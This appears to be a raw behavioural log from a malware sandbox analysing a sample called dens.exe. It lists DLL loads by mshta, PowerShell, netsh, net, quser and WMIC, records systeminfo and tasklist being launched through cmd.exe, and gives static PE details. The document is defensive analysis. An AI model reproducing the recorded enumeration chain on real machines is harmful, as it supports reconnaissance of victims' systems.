Source: C:\Windows\System32\mshta.exe	Section loaded: msiso.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: srpapi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: msimtf.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: textinputframework.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dataexchange.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dcomp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: jscript9.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: textshaping.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dxcore.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: esscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\HOSTNAME.EXE	Section loaded: mswsock.dll
Source: C:\Windows\System32\HOSTNAME.EXE	Section loaded: napinsp.dll
Source: C:\Windows\System32\HOSTNAME.EXE	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\HOSTNAME.EXE	Section loaded: wshbth.dll
Source: C:\Windows\System32\HOSTNAME.EXE	Section loaded: nlaapi.dll
Source: C:\Windows\System32\HOSTNAME.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\HOSTNAME.EXE	Section loaded: dnsapi.dll
Source: C:\Windows\System32\HOSTNAME.EXE	Section loaded: winrnr.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net1.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\net1.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cscapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\query.exe	Section loaded: regapi.dll
Source: C:\Windows\System32\quser.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\quser.exe	Section loaded: utildll.dll
Source: C:\Windows\System32\quser.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\quser.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net1.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\net1.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cscapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net1.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\net1.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net1.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\net1.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net1.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\net1.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll

Source: C:\Users\user\Desktop\dens.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\systeminfo.exe systeminfo

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\tasklist.exe tasklist

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: dens.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: dens.exe

Static file information: File size 16905542 > 1048576

Source: dens.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: dens.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: dens.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: dens.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: dens.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: dens.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: dens.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: dens.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: dens.exe, 00000000.00000003.1666353635.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: cryptography_rust.pdbc source: dens.exe, 00000001.00000002.2068229135.00007FFDFA867000.00000002.00000001.01000000.00000026.sdmp
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdb source: dens.exe, 00000000.00000003.1664185093.00000107DAD65000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-file-l1-2-0.dll.0.dr
Source:	Binary string: api-ms-win-core-debug-l1-1-0.pdb source: dens.exe, 00000000.00000003.1663980456.00000107DAD65000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: dens.exe, 00000000.00000003.1665572074.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-sysinfo-l1-1-0.dll.0.dr
Source:	Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: dens.exe, 00000000.00000003.1665989863.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-filesystem-l1-1-0.dll.0.dr
Source:	Binary string: api-ms-win-core-memory-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1664659823.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-heap-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1666061436.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-heap-l1-1-0.pdb source: dens.exe, 00000000.00000003.1664385796.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-heap-l1-1-0.dll.0.dr
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG" source: dens.exe, 00000001.00000002.2068229135.00007FFDFA867000.00000002.00000001.01000000.00000026.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdb source: dens.exe, 00000000.00000003.1661475799.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: dens.exe, 00000000.00000003.1665921025.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-filesystem-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1665989863.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-filesystem-l1-1-0.dll.0.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: dens.exe, 00000000.00000003.1665091592.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1666599668.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-console-l1-1-0.pdb source: dens.exe, 00000000.00000003.1663850239.00000107DAD65000.00000004.00000020.00020000.00000000.sdmp
